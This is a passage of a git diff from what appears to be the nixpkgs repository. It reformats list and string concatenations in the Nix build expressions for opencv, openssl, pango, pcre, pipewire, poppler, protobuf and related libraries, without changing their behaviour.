+      no-libstdcxx-errors = callPackage ./libstdcxx-test.nix { attrName = "opencv4"; };
+    };
+  }
+  // optionalAttrs enablePython { pythonPath = [ ]; };
 
   meta = {
     description = "Open Computer Vision Library with more than 500 algorithms";
diff --git a/pkgs/development/libraries/opencv/tests.nix b/pkgs/development/libraries/opencv/tests.nix
index 040554a6683b..2d0fb46c2861 100644
--- a/pkgs/development/libraries/opencv/tests.nix
+++ b/pkgs/development/libraries/opencv/tests.nix
@@ -23,49 +23,48 @@ runCommand "opencv4-tests"
     __structuredAttrs = true;
     strictDeps = true;
 
-    nativeBuildInputs =
-      [ writableTmpDirAsHomeHook ]
-      ++ optionals enableGStreamer (
-        with gst_all_1;
-        [
-          gstreamer
-          gst-plugins-base
-          gst-plugins-good
-        ]
-      );
-
-    ignoredTests =
+    nativeBuildInputs = [
+      writableTmpDirAsHomeHook
+    ]
+    ++ optionals enableGStreamer (
+      with gst_all_1;
       [
-        "AsyncAPICancelation/cancel*"
-        "Photo_CalibrateDebevec.regression"
+        gstreamer
+        gst-plugins-base
+        gst-plugins-good
       ]
-      ++ optionals cudaSupport [
-        # opencv4-tests> /build/source/modules/photo/test/test_denoising.cuda.cpp:115: Failure
-        # opencv4-tests> The max difference between matrices "bgr_gold" and "dbgr" is 2 at (339, 486), which exceeds "1", where "bgr_gold" at (339, 486) evaluates to (182, 239, 239), "dbgr" at (339, 486) evaluates to (184, 239, 239), "1" evaluates to 1
-        # opencv4-tests> [  FAILED  ] CUDA_FastNonLocalMeans.Regression (48 ms)
-        "CUDA_FastNonLocalMeans.Regression"
-      ];
+    );
+
+    ignoredTests = [
+      "AsyncAPICancelation/cancel*"
+      "Photo_CalibrateDebevec.regression"
+    ]
+    ++ optionals cudaSupport [
+      # opencv4-tests> /build/source/modules/photo/test/test_denoising.cuda.cpp:115: Failure
+      # opencv4-tests> The max difference between matrices "bgr_gold" and "dbgr" is 2 at (339, 486), which exceeds "1", where "bgr_gold" at (339, 486) evaluates to (182, 239, 239), "dbgr" at (339, 486) evaluates to (184, 239, 239), "1" evaluates to 1
+      # opencv4-tests> [  FAILED  ] CUDA_FastNonLocalMeans.Regression (48 ms)
+      "CUDA_FastNonLocalMeans.Regression"
+    ];
 
     inherit runAccuracyTests;
 
-    accuracyTestNames =
-      [
-        "calib3d"
-        "core"
-        "features2d"
-        "flann"
-        "imgcodecs"
-        "imgproc"
-        "ml"
-        "objdetect"
-        "photo"
-        "stitching"
-        "video"
-        #"videoio" # - a lot of GStreamer warnings and failed tests
-        #"dnn" #- some caffe tests failed, probably because github workflow also downloads additional models
-      ]
-      ++ optionals (!isAarch64 && enableGStreamer) [ "gapi" ]
-      ++ optionals (enableGtk2 || enableGtk3) [ "highgui" ];
+    accuracyTestNames = [
+      "calib3d"
+      "core"
+      "features2d"
+      "flann"
+      "imgcodecs"
+      "imgproc"
+      "ml"
+      "objdetect"
+      "photo"
+      "stitching"
+      "video"
+      #"videoio" # - a lot of GStreamer warnings and failed tests
+      #"dnn" #- some caffe tests failed, probably because github workflow also downloads additional models
+    ]
+    ++ optionals (!isAarch64 && enableGStreamer) [ "gapi" ]
+    ++ optionals (enableGtk2 || enableGtk3) [ "highgui" ];
 
     inherit runPerformanceTests;
 
@@ -79,7 +78,8 @@ runCommand "opencv4-tests"
       "photo"
       "stitching"
       "video"
-    ] ++ optionals (!isAarch64 && enableGStreamer) [ "gapi" ];
+    ]
+    ++ optionals (!isAarch64 && enableGStreamer) [ "gapi" ];
 
     testRunner = optionalString (!isDarwin) "${getExe xvfb-run} -a ";
 
diff --git a/pkgs/development/libraries/openexr/2.nix b/pkgs/development/libraries/openexr/2.nix
index 7a71776aba89..7a1bddcb30c2 100644
--- a/pkgs/development/libraries/openexr/2.nix
+++ b/pkgs/development/libraries/openexr/2.nix
@@ -57,7 +57,8 @@ stdenv.mkDerivation rec {
 
   cmakeFlags = [
     "-DCMAKE_CTEST_ARGUMENTS=--timeout;3600"
-  ] ++ lib.optional stdenv.hostPlatform.isStatic "-DCMAKE_SKIP_RPATH=ON";
+  ]
+  ++ lib.optional stdenv.hostPlatform.isStatic "-DCMAKE_SKIP_RPATH=ON";
 
   nativeBuildInputs = [ cmake ];
   propagatedBuildInputs = [
diff --git a/pkgs/development/libraries/openssl/default.nix b/pkgs/development/libraries/openssl/default.nix
index 465f24ec2630..4ece27d7b5e8 100644
--- a/pkgs/development/libraries/openssl/default.nix
+++ b/pkgs/development/libraries/openssl/default.nix
@@ -54,48 +54,46 @@ let
 
       inherit patches;
 
-      postPatch =
-        ''
-          patchShebangs Configure
-        ''
-        + lib.optionalString (lib.versionOlder version "1.1.1") ''
-          patchShebangs test/*
-          for a in test/t* ; do
-            substituteInPlace "$a" \
-              --replace /bin/rm rm
-          done
-        ''
-        # config is a configure script which is not installed.
-        + lib.optionalString (lib.versionAtLeast version "1.1.1") ''
-          substituteInPlace config --replace '/usr/bin/env' '${buildPackages.coreutils}/bin/env'
-        ''
-        + lib.optionalString (lib.versionAtLeast version "1.1.1" && stdenv.hostPlatform.isMusl) ''
-          substituteInPlace crypto/async/arch/async_posix.h \
-            --replace '!defined(__ANDROID__) && !defined(__OpenBSD__)' \
-                      '!defined(__ANDROID__) && !defined(__OpenBSD__) && 0'
-        ''
-        # Move ENGINESDIR into OPENSSLDIR for static builds, in order to move
-        # it to the separate etc output.
-        + lib.optionalString static ''
-          substituteInPlace Configurations/unix-Makefile.tmpl \
-            --replace 'ENGINESDIR=$(libdir)/engines-{- $sover_dirname -}' \
-                      'ENGINESDIR=$(OPENSSLDIR)/engines-{- $sover_dirname -}'
-        '';
+      postPatch = ''
+        patchShebangs Configure
+      ''
+      + lib.optionalString (lib.versionOlder version "1.1.1") ''
+        patchShebangs test/*
+        for a in test/t* ; do
+          substituteInPlace "$a" \
+            --replace /bin/rm rm
+        done
+      ''
+      # config is a configure script which is not installed.
+      + lib.optionalString (lib.versionAtLeast version "1.1.1") ''
+        substituteInPlace config --replace '/usr/bin/env' '${buildPackages.coreutils}/bin/env'
+      ''
+      + lib.optionalString (lib.versionAtLeast version "1.1.1" && stdenv.hostPlatform.isMusl) ''
+        substituteInPlace crypto/async/arch/async_posix.h \
+          --replace '!defined(__ANDROID__) && !defined(__OpenBSD__)' \
+                    '!defined(__ANDROID__) && !defined(__OpenBSD__) && 0'
+      ''
+      # Move ENGINESDIR into OPENSSLDIR for static builds, in order to move
+      # it to the separate etc output.
+      + lib.optionalString static ''
+        substituteInPlace Configurations/unix-Makefile.tmpl \
+          --replace 'ENGINESDIR=$(libdir)/engines-{- $sover_dirname -}' \
+                    'ENGINESDIR=$(OPENSSLDIR)/engines-{- $sover_dirname -}'
+      '';
 
-      outputs =
-        [
-          "bin"
-          "dev"
-          "out"
-          "man"
-        ]
-        ++ lib.optional withDocs "doc"
-        # Separate output for the runtime dependencies of the static build.
-        # Specifically, move OPENSSLDIR into this output, as its path will be
-        # compiled into 'libcrypto.a'. This makes it a runtime dependency of
-        # any package that statically links openssl, so we want to keep that
-        # output minimal.
-        ++ lib.optional static "etc";
+      outputs = [
+        "bin"
+        "dev"
+        "out"
+        "man"
+      ]
+      ++ lib.optional withDocs "doc"
+      # Separate output for the runtime dependencies of the static build.
+      # Specifically, move OPENSSLDIR into this output, as its path will be
+      # compiled into 'libcrypto.a'. This makes it a runtime dependency of
+      # any package that statically links openssl, so we want to keep that
+      # output minimal.
+      ++ lib.optional static "etc";
       setOutputFlags = false;
       separateDebugInfo =
         !stdenv.hostPlatform.isDarwin && !(stdenv.hostPlatform.useLLVM or false) && stdenv.cc.isGNU;
@@ -160,62 +158,61 @@ let
 
       # OpenSSL doesn't like the `--enable-static` / `--disable-shared` flags.
       dontAddStaticConfigureFlags = true;
-      configureFlags =
-        [
-          "shared" # "shared" builds both shared and static libraries
-          "--libdir=lib"
-          (
-            if !static then
-              "--openssldir=etc/ssl"
-            else
-              # Move OPENSSLDIR to the 'etc' output for static builds. Prepend '/.'
-              # to the path to make it appear absolute before variable expansion,
-              # else the 'prefix' would be prepended to it.
-              "--openssldir=/.$(etc)/etc/ssl"
-          )
-        ]
-        ++ lib.optionals withCryptodev [
-          "-DHAVE_CRYPTODEV"
-          "-DUSE_CRYPTODEV_DIGESTS"
-        ]
-        ++ lib.optional enableMD2 "enable-md2"
-        ++ lib.optional enableSSL2 "enable-ssl2"
-        ++ lib.optional enableSSL3 "enable-ssl3"
-        # We select KTLS here instead of the configure-time detection (which we patch out).
-        # KTLS should work on FreeBSD 13+ as well, so we could enable it if someone tests it.
-        ++ lib.optional (lib.versionAtLeast version "3.0.0" && enableKTLS) "enable-ktls"
-        ++ lib.optional (lib.versionAtLeast version "1.1.1" && stdenv.hostPlatform.isAarch64) "no-afalgeng"
-        # OpenSSL needs a specific `no-shared` configure flag.
-        # See https://wiki.openssl.org/index.php/Compilation_and_Installation#Configure_Options
-        # for a comprehensive list of configuration options.
-        ++ lib.optional (lib.versionAtLeast version "1.1.1" && static) "no-shared"
-        ++ lib.optional (lib.versionAtLeast version "3.0.0" && static) "no-module"
-        # This introduces a reference to the CTLOG_FILE which is undesired when
-        # trying to build binaries statically.
-        ++ lib.optional static "no-ct"
-        ++ lib.optional withZlib "zlib"
-        # /dev/crypto support has been dropped in OpenBSD 5.7.
+      configureFlags = [
+        "shared" # "shared" builds both shared and static libraries
+        "--libdir=lib"
+        (
+          if !static then
+            "--openssldir=etc/ssl"
+          else
+            # Move OPENSSLDIR to the 'etc' output for static builds. Prepend '/.'
+            # to the path to make it appear absolute before variable expansion,
+            # else the 'prefix' would be prepended to it.
+            "--openssldir=/.$(etc)/etc/ssl"
+        )
+      ]
+      ++ lib.optionals withCryptodev [
+        "-DHAVE_CRYPTODEV"
+        "-DUSE_CRYPTODEV_DIGESTS"
+      ]
+      ++ lib.optional enableMD2 "enable-md2"
+      ++ lib.optional enableSSL2 "enable-ssl2"
+      ++ lib.optional enableSSL3 "enable-ssl3"
+      # We select KTLS here instead of the configure-time detection (which we patch out).
+      # KTLS should work on FreeBSD 13+ as well, so we could enable it if someone tests it.
+      ++ lib.optional (lib.versionAtLeast version "3.0.0" && enableKTLS) "enable-ktls"
+      ++ lib.optional (lib.versionAtLeast version "1.1.1" && stdenv.hostPlatform.isAarch64) "no-afalgeng"
+      # OpenSSL needs a specific `no-shared` configure flag.
+      # See https://wiki.openssl.org/index.php/Compilation_and_Installation#Configure_Options
+      # for a comprehensive list of configuration options.
+      ++ lib.optional (lib.versionAtLeast version "1.1.1" && static) "no-shared"
+      ++ lib.optional (lib.versionAtLeast version "3.0.0" && static) "no-module"
+      # This introduces a reference to the CTLOG_FILE which is undesired when
+      # trying to build binaries statically.
+      ++ lib.optional static "no-ct"
+      ++ lib.optional withZlib "zlib"
+      # /dev/crypto support has been dropped in OpenBSD 5.7.
+      #
+      # OpenBSD's ports does this too,
+      # https://github.com/openbsd/ports/blob/a1147500c76970fea22947648fb92a093a529d7c/security/openssl/3.3/Makefile#L25.
+      #
+      # https://github.com/openssl/openssl/pull/10565 indicated the
+      # intent was that this would be configured properly automatically,
+      # but that doesn't appear to be the case.
+      ++ lib.optional stdenv.hostPlatform.isOpenBSD "no-devcryptoeng"
+      ++ lib.optionals (stdenv.hostPlatform.isMips && stdenv.hostPlatform ? gcc.arch) [
+        # This is necessary in order to avoid openssl adding -march
+        # flags which ultimately conflict with those added by
+        # cc-wrapper.  Openssl assumes that it can scan CFLAGS to
+        # detect any -march flags, using this perl code:
         #
-        # OpenBSD's ports does this too,
-        # https://github.com/openbsd/ports/blob/a1147500c76970fea22947648fb92a093a529d7c/security/openssl/3.3/Makefile#L25.
+        #   && !grep { $_ =~ /-m(ips|arch=)/ } (@{$config{CFLAGS}})
         #
-        # https://github.com/openssl/openssl/pull/10565 indicated the
-        # intent was that this would be configured properly automatically,
-        # but that doesn't appear to be the case.
-        ++ lib.optional stdenv.hostPlatform.isOpenBSD "no-devcryptoeng"
-        ++ lib.optionals (stdenv.hostPlatform.isMips && stdenv.hostPlatform ? gcc.arch) [
-          # This is necessary in order to avoid openssl adding -march
-          # flags which ultimately conflict with those added by
-          # cc-wrapper.  Openssl assumes that it can scan CFLAGS to
-          # detect any -march flags, using this perl code:
-          #
-          #   && !grep { $_ =~ /-m(ips|arch=)/ } (@{$config{CFLAGS}})
-          #
-          # The following bogus CFLAGS environment variable triggers the
-          # the code above, inhibiting `./Configure` from adding the
-          # conflicting flags.
-          "CFLAGS=-march=${stdenv.hostPlatform.gcc.arch}"
-        ];
+        # The following bogus CFLAGS environment variable triggers the
+        # the code above, inhibiting `./Configure` from adding the
+        # conflicting flags.
+        "CFLAGS=-march=${stdenv.hostPlatform.gcc.arch}"
+      ];
 
       makeFlags = [
         "MANDIR=$(man)/share/man"
@@ -308,7 +305,8 @@ let
           "openssl"
         ];
         platforms = lib.platforms.all;
-      } // extraMeta;
+      }
+      // extraMeta;
     });
 
 in
diff --git a/pkgs/development/libraries/pango/default.nix b/pkgs/development/libraries/pango/default.nix
index 6b59332bb3b4..a24383b6d805 100644
--- a/pkgs/development/libraries/pango/default.nix
+++ b/pkgs/development/libraries/pango/default.nix
@@ -35,7 +35,8 @@ stdenv.mkDerivation (finalAttrs: {
     "bin"
     "out"
     "dev"
-  ] ++ lib.optional withIntrospection "devdoc";
+  ]
+  ++ lib.optional withIntrospection "devdoc";
 
   src = fetchurl {
     url = "mirror://gnome/sources/pango/${lib.versions.majorMinor finalAttrs.version}/pango-${finalAttrs.version}.tar.xz";
@@ -46,35 +47,33 @@ stdenv.mkDerivation (finalAttrs: {
     pkg-config
   ];
 
-  nativeBuildInputs =
-    [
-      meson
-      ninja
-      glib # for glib-mkenum
-      pkg-config
-      python3
-      docutils # for rst2man, rst2html5
-    ]
-    ++ lib.optionals withIntrospection [
-      gi-docgen
-      gobject-introspection
-    ];
+  nativeBuildInputs = [
+    meson
+    ninja
+    glib # for glib-mkenum
+    pkg-config
+    python3
+    docutils # for rst2man, rst2html5
+  ]
+  ++ lib.optionals withIntrospection [
+    gi-docgen
+    gobject-introspection
+  ];
 
   buildInputs = [
     fribidi
     libthai
   ];
 
-  propagatedBuildInputs =
-    [
-      cairo
-      glib
-      libintl
-      harfbuzz
-    ]
-    ++ lib.optionals x11Support [
-      libXft
-    ];
+  propagatedBuildInputs = [
+    cairo
+    glib
+    libintl
+    harfbuzz
+  ]
+  ++ lib.optionals x11Support [
+    libXft
+  ];
 
   mesonFlags = [
     (lib.mesonBool "documentation" withIntrospection)
diff --git a/pkgs/development/libraries/pcre/default.nix b/pkgs/development/libraries/pcre/default.nix
index 7a49561e7a4f..34af2949aece 100644
--- a/pkgs/development/libraries/pcre/default.nix
+++ b/pkgs/development/libraries/pcre/default.nix
@@ -40,13 +40,12 @@ stdenv.mkDerivation rec {
 
   hardeningDisable = lib.optional enableJit "shadowstack";
 
-  configureFlags =
-    [
-      "--enable-unicode-properties"
-      "--disable-cpp"
-    ]
-    ++ lib.optional enableJit "--enable-jit=auto"
-    ++ lib.optional (variant != null) "--enable-${variant}";
+  configureFlags = [
+    "--enable-unicode-properties"
+    "--disable-cpp"
+  ]
+  ++ lib.optional enableJit "--enable-jit=auto"
+  ++ lib.optional (variant != null) "--enable-${variant}";
 
   patches = [
     # https://bugs.exim.org/show_bug.cgi?id=2173
@@ -73,13 +72,12 @@ stdenv.mkDerivation rec {
   # XXX: test failure on Cygwin
   # we are running out of stack on both freeBSDs on Hydra
 
-  postFixup =
-    ''
-      moveToOutput bin/pcre-config "$dev"
-    ''
-    + lib.optionalString (variant != null) ''
-      ln -sf -t "$out/lib/" '${pcre.out}'/lib/libpcre{,posix}.{so.*.*.*,*dylib,*a}
-    '';
+  postFixup = ''
+    moveToOutput bin/pcre-config "$dev"
+  ''
+  + lib.optionalString (variant != null) ''
+    ln -sf -t "$out/lib/" '${pcre.out}'/lib/libpcre{,posix}.{so.*.*.*,*dylib,*a}
+  '';
 
   meta = {
     homepage = "http://www.pcre.org/";
diff --git a/pkgs/development/libraries/pcre2/default.nix b/pkgs/development/libraries/pcre2/default.nix
index 3667510d9a10..fb054defc168 100644
--- a/pkgs/development/libraries/pcre2/default.nix
+++ b/pkgs/development/libraries/pcre2/default.nix
@@ -17,15 +17,14 @@ stdenv.mkDerivation rec {
 
   nativeBuildInputs = [ updateAutotoolsGnuConfigScriptsHook ];
 
-  configureFlags =
-    [
-      "--enable-pcre2-16"
-      "--enable-pcre2-32"
-      # only enable jit on supported platforms which excludes Apple Silicon, see https://github.com/zherczeg/sljit/issues/51
-      "--enable-jit=${if stdenv.hostPlatform.isS390x then "no" else "auto"}"
-    ]
-    # fix pcre jit in systemd units that set MemoryDenyWriteExecute=true like gitea
-    ++ lib.optional withJitSealloc "--enable-jit-sealloc";
+  configureFlags = [
+    "--enable-pcre2-16"
+    "--enable-pcre2-32"
+    # only enable jit on supported platforms which excludes Apple Silicon, see https://github.com/zherczeg/sljit/issues/51
+    "--enable-jit=${if stdenv.hostPlatform.isS390x then "no" else "auto"}"
+  ]
+  # fix pcre jit in systemd units that set MemoryDenyWriteExecute=true like gitea
+  ++ lib.optional withJitSealloc "--enable-jit-sealloc";
 
   outputs = [
     "bin"
diff --git a/pkgs/development/libraries/physics/hepmc3/default.nix b/pkgs/development/libraries/physics/hepmc3/default.nix
index 2e770ce59fd8..003f60680d04 100644
--- a/pkgs/development/libraries/physics/hepmc3/default.nix
+++ b/pkgs/development/libraries/physics/hepmc3/default.nix
@@ -26,11 +26,13 @@ stdenv.mkDerivation rec {
 
   nativeBuildInputs = [
     cmake
-  ] ++ lib.optional withPython python.pkgs.pythonImportsCheckHook;
+  ]
+  ++ lib.optional withPython python.pkgs.pythonImportsCheckHook;
 
   buildInputs = [
     root_py
-  ] ++ lib.optional withPython python;
+  ]
+  ++ lib.optional withPython python;
 
   # error: invalid version number in 'MACOSX_DEPLOYMENT_TARGET=11.0'
   preConfigure =
@@ -40,15 +42,14 @@ stdenv.mkDerivation rec {
         MACOSX_DEPLOYMENT_TARGET=10.16
       '';
 
-  cmakeFlags =
-    [
-      "-DHEPMC3_CXX_STANDARD=17"
-      "-DHEPMC3_ENABLE_PYTHON=${if withPython then "ON" else "OFF"}"
-    ]
-    ++ lib.optionals withPython [
-      "-DHEPMC3_PYTHON_VERSIONS=${if python.isPy3k then "3.X" else "2.X"}"
-      "-DHEPMC3_Python_SITEARCH${pythonVersion}=${placeholder "out"}/${python.sitePackages}"
-    ];
+  cmakeFlags = [
+    "-DHEPMC3_CXX_STANDARD=17"
+    "-DHEPMC3_ENABLE_PYTHON=${if withPython then "ON" else "OFF"}"
+  ]
+  ++ lib.optionals withPython [
+    "-DHEPMC3_PYTHON_VERSIONS=${if python.isPy3k then "3.X" else "2.X"}"
+    "-DHEPMC3_Python_SITEARCH${pythonVersion}=${placeholder "out"}/${python.sitePackages}"
+  ];
 
   postInstall = ''
     substituteInPlace "$out"/bin/HepMC3-config \
diff --git a/pkgs/development/libraries/physics/lhapdf/default.nix b/pkgs/development/libraries/physics/lhapdf/default.nix
index 962d437e2fc1..f9f607d0991b 100644
--- a/pkgs/development/libraries/physics/lhapdf/default.nix
+++ b/pkgs/development/libraries/physics/lhapdf/default.nix
@@ -22,14 +22,13 @@ stdenv.mkDerivation rec {
     substituteInPlace src/GridPDF.cc --replace '#include <locale>' '#include <xlocale.h>'
   '';
 
-  nativeBuildInputs =
-    [
-      bash
-      makeWrapper
-    ]
-    ++ lib.optionals (python3 != null && lib.versionAtLeast python3.version "3.10") [
-      python3.pkgs.cython
-    ];
+  nativeBuildInputs = [
+    bash
+    makeWrapper
+  ]
+  ++ lib.optionals (python3 != null && lib.versionAtLeast python3.version "3.10") [
+    python3.pkgs.cython
+  ];
   buildInputs = [ python3 ];
 
   configureFlags = lib.optionals (python3 == null) [ "--disable-python" ];
diff --git a/pkgs/development/libraries/physics/pythia/default.nix b/pkgs/development/libraries/physics/pythia/default.nix
index 921b1f6e5f63..7b200199aac5 100644
--- a/pkgs/development/libraries/physics/pythia/default.nix
+++ b/pkgs/development/libraries/physics/pythia/default.nix
@@ -31,21 +31,20 @@ stdenv.mkDerivation rec {
     lhapdf
   ];
 
-  configureFlags =
-    [
-      "--enable-shared"
-      "--with-lhapdf6=${lhapdf}"
-    ]
-    ++ (
-      if lib.versions.major hepmc.version == "3" then
-        [
-          "--with-hepmc3=${hepmc}"
-        ]
-      else
-        [
-          "--with-hepmc2=${hepmc}"
-        ]
-    );
+  configureFlags = [
+    "--enable-shared"
+    "--with-lhapdf6=${lhapdf}"
+  ]
+  ++ (
+    if lib.versions.major hepmc.version == "3" then
+      [
+        "--with-hepmc3=${hepmc}"
+      ]
+    else
+      [
+        "--with-hepmc2=${hepmc}"
+      ]
+  );
 
   enableParallelBuilding = true;
 
diff --git a/pkgs/development/libraries/pipewire/default.nix b/pkgs/development/libraries/pipewire/default.nix
index b4be67990845..b3202c4e77b5 100644
--- a/pkgs/development/libraries/pipewire/default.nix
+++ b/pkgs/development/libraries/pipewire/default.nix
@@ -121,68 +121,67 @@ stdenv.mkDerivation (finalAttrs: {
     glib
   ];
 
-  buildInputs =
-    [
-      dbus
-      ffmpeg
-      fftwFloat
-      glib
-      gst_all_1.gst-plugins-base
-      gst_all_1.gstreamer
-      libebur128
-      libjack2
-      libmysofa
-      libopus
-      libpulseaudio
-      libusb1
-      libsndfile
-      lilv
-      ncurses
-      readline
-    ]
-    ++ (
-      if enableSystemd then
-        [ systemd ]
-      else if stdenv.hostPlatform.isLinux then
-        [
-          elogind
-          udev
-        ]
-      else
-        [ ]
-    )
-    ++ lib.optionals stdenv.hostPlatform.isFreeBSD [
-      libinotify-kqueue
-      epoll-shim
-      freebsd.libstdthreads
-    ]
-    ++ lib.take 1 webrtc-audio-processings
-    ++ lib.optional stdenv.hostPlatform.isLinux alsa-lib
-    ++ lib.optional ldacbtSupport ldacbt
-    ++ lib.optional libcameraSupport libcamera
-    ++ lib.optional zeroconfSupport avahi
-    ++ lib.optional raopSupport openssl
-    ++ lib.optional rocSupport roc-toolkit
-    ++ lib.optionals vulkanSupport [
-      libdrm
-      vulkan-headers
-      vulkan-loader
-    ]
-    ++ lib.optionals x11Support [
-      libcanberra
-      xorg.libX11
-      xorg.libXfixes
-    ]
-    ++ lib.optionals bluezSupport [
-      bluez
-      libfreeaptx
-      liblc3
-      sbc
-      fdk_aac
-    ]
-    ++ lib.optional ffadoSupport ffado
-    ++ lib.optional stdenv.hostPlatform.isLinux libselinux
-    ++ lib.optional modemmanagerSupport modemmanager;
+  buildInputs = [
+    dbus
+    ffmpeg
+    fftwFloat
+    glib
+    gst_all_1.gst-plugins-base
+    gst_all_1.gstreamer
+    libebur128
+    libjack2
+    libmysofa
+    libopus
+    libpulseaudio
+    libusb1
+    libsndfile
+    lilv
+    ncurses
+    readline
+  ]
+  ++ (
+    if enableSystemd then
+      [ systemd ]
+    else if stdenv.hostPlatform.isLinux then
+      [
+        elogind
+        udev
+      ]
+    else
+      [ ]
+  )
+  ++ lib.optionals stdenv.hostPlatform.isFreeBSD [
+    libinotify-kqueue
+    epoll-shim
+    freebsd.libstdthreads
+  ]
+  ++ lib.take 1 webrtc-audio-processings
+  ++ lib.optional stdenv.hostPlatform.isLinux alsa-lib
+  ++ lib.optional ldacbtSupport ldacbt
+  ++ lib.optional libcameraSupport libcamera
+  ++ lib.optional zeroconfSupport avahi
+  ++ lib.optional raopSupport openssl
+  ++ lib.optional rocSupport roc-toolkit
+  ++ lib.optionals vulkanSupport [
+    libdrm
+    vulkan-headers
+    vulkan-loader
+  ]
+  ++ lib.optionals x11Support [
+    libcanberra
+    xorg.libX11
+    xorg.libXfixes
+  ]
+  ++ lib.optionals bluezSupport [
+    bluez
+    libfreeaptx
+    liblc3
+    sbc
+    fdk_aac
+  ]
+  ++ lib.optional ffadoSupport ffado
+  ++ lib.optional stdenv.hostPlatform.isLinux libselinux
+  ++ lib.optional modemmanagerSupport modemmanager;
 
   # Valgrind binary is required for running one optional test.
   nativeCheckInputs = lib.optional (lib.meta.availableOn stdenv.hostPlatform valgrind) valgrind;
diff --git a/pkgs/development/libraries/pipewire/wireplumber.nix b/pkgs/development/libraries/pipewire/wireplumber.nix
index c2779fa06991..02d11112fc83 100644
--- a/pkgs/development/libraries/pipewire/wireplumber.nix
+++ b/pkgs/development/libraries/pipewire/wireplumber.nix
@@ -30,7 +30,8 @@ stdenv.mkDerivation rec {
   outputs = [
     "out"
     "dev"
-  ] ++ lib.optional enableDocs "doc";
+  ]
+  ++ lib.optional enableDocs "doc";
 
   src = fetchFromGitLab {
     domain = "gitlab.freedesktop.org";
@@ -40,31 +41,30 @@ stdenv.mkDerivation rec {
     hash = "sha256-CZjVCy9FKTBO7C5f+vOejJyVjo2a5YoOKgqzH+w2k3w=";
   };
 
-  nativeBuildInputs =
-    [
-      meson
-      pkg-config
-      ninja
-    ]
-    ++ lib.optionals enableDocs [
-      graphviz
-    ]
-    ++ lib.optionals enableGI [
-      gobject-introspection
-    ]
-    ++ lib.optionals (enableDocs || enableGI) [
-      doxygen
-      (python3.pythonOnBuildForHost.withPackages (
-        ps:
-        with ps;
-        lib.optionals enableDocs [
-          sphinx
-          sphinx-rtd-theme
-          breathe
-        ]
-        ++ lib.optionals enableGI [ lxml ]
-      ))
-    ];
+  nativeBuildInputs = [
+    meson
+    pkg-config
+    ninja
+  ]
+  ++ lib.optionals enableDocs [
+    graphviz
+  ]
+  ++ lib.optionals enableGI [
+    gobject-introspection
+  ]
+  ++ lib.optionals (enableDocs || enableGI) [
+    doxygen
+    (python3.pythonOnBuildForHost.withPackages (
+      ps:
+      with ps;
+      lib.optionals enableDocs [
+        sphinx
+        sphinx-rtd-theme
+        breathe
+      ]
+      ++ lib.optionals enableGI [ lxml ]
+    ))
+  ];
 
   buildInputs = [
     glib
diff --git a/pkgs/development/libraries/poppler/default.nix b/pkgs/development/libraries/poppler/default.nix
index 4f8c2a880aab..3cc8e2973722 100644
--- a/pkgs/development/libraries/poppler/default.nix
+++ b/pkgs/development/libraries/poppler/default.nix
@@ -74,70 +74,66 @@ stdenv.mkDerivation (finalAttrs: rec {
     hash = "sha256-mxYnxbdoFqxeQFKgP1tgW6QLRc8GsCyt0EeWILSZqzg=";
   };
 
-  nativeBuildInputs =
-    [
-      cmake
-      ninja
-      pkg-config
-      python3
-    ]
-    ++ lib.optionals (!minimal) [
-      glib # for glib-mkenums
-    ];
+  nativeBuildInputs = [
+    cmake
+    ninja
+    pkg-config
+    python3
+  ]
+  ++ lib.optionals (!minimal) [
+    glib # for glib-mkenums
+  ];
 
-  buildInputs =
-    [
-      boost
-      libiconv
-      libintl
-    ]
-    ++ lib.optionals withData [
-      poppler_data
-    ];
+  buildInputs = [
+    boost
+    libiconv
+    libintl
+  ]
+  ++ lib.optionals withData [
+    poppler_data
+  ];
 
   # TODO: reduce propagation to necessary libs
-  propagatedBuildInputs =
-    [
-      zlib
-      freetype
-      fontconfig
-      libjpeg
-      openjpeg
-    ]
-    ++ lib.optionals (!minimal) [
-      cairo
-      lcms
-      libtiff
-      curl
-      nss
-    ]
-    ++ lib.optionals (qt5Support || qt6Support) [
-      qtbase
-    ]
-    ++ lib.optionals introspectionSupport [
-      gobject-introspection
-    ]
-    ++ lib.optionals gpgmeSupport [
-      gpgme
-    ];
+  propagatedBuildInputs = [
+    zlib
+    freetype
+    fontconfig
+    libjpeg
+    openjpeg
+  ]
+  ++ lib.optionals (!minimal) [
+    cairo
+    lcms
+    libtiff
+    curl
+    nss
+  ]
+  ++ lib.optionals (qt5Support || qt6Support) [
+    qtbase
+  ]
+  ++ lib.optionals introspectionSupport [
+    gobject-introspection
+  ]
+  ++ lib.optionals gpgmeSupport [
+    gpgme
+  ];
 
-  cmakeFlags =
-    [
-      (mkFlag true "UNSTABLE_API_ABI_HEADERS") # previously "XPDF_HEADERS"
-      (mkFlag (!minimal) "GLIB")
-      (mkFlag (!minimal) "CPP")
-      (mkFlag (!minimal) "LIBCURL")
-      (mkFlag (!minimal) "LCMS")
-      (mkFlag (!minimal) "LIBTIFF")
-      (mkFlag (!minimal) "NSS3")
-      (mkFlag utils "UTILS")
-      (mkFlag qt5Support "QT5")
-      (mkFlag qt6Support "QT6")
-      (mkFlag gpgmeSupport "GPGME")
-    ]
-    ++ lib.optionals finalAttrs.finalPackage.doCheck [
-      "-DTESTDATADIR=${testData}"
-    ];
+  cmakeFlags = [
+    (mkFlag true "UNSTABLE_API_ABI_HEADERS") # previously "XPDF_HEADERS"
+    (mkFlag (!minimal) "GLIB")
+    (mkFlag (!minimal) "CPP")
+    (mkFlag (!minimal) "LIBCURL")
+    (mkFlag (!minimal) "LCMS")
+    (mkFlag (!minimal) "LIBTIFF")
+    (mkFlag (!minimal) "NSS3")
+    (mkFlag utils "UTILS")
+    (mkFlag qt5Support "QT5")
+    (mkFlag qt6Support "QT6")
+    (mkFlag gpgmeSupport "GPGME")
+  ]
+  ++ lib.optionals finalAttrs.finalPackage.doCheck [
+    "-DTESTDATADIR=${testData}"
+  ];
   disallowedReferences = lib.optional finalAttrs.finalPackage.doCheck testData;
 
   dontWrapQtApps = true;
diff --git a/pkgs/development/libraries/protobuf/generic.nix b/pkgs/development/libraries/protobuf/generic.nix
index e0094c852165..0165766f3fa4 100644
--- a/pkgs/development/libraries/protobuf/generic.nix
+++ b/pkgs/development/libraries/protobuf/generic.nix
@@ -75,17 +75,16 @@ stdenv.mkDerivation (finalAttrs: {
   strictDeps = true;
 
   cmakeDir = if lib.versionOlder version "22" then "../cmake" else null;
-  cmakeFlags =
-    [
-      "-Dprotobuf_USE_EXTERNAL_GTEST=ON"
-      "-Dprotobuf_ABSL_PROVIDER=package"
-    ]
-    ++ lib.optionals enableShared [
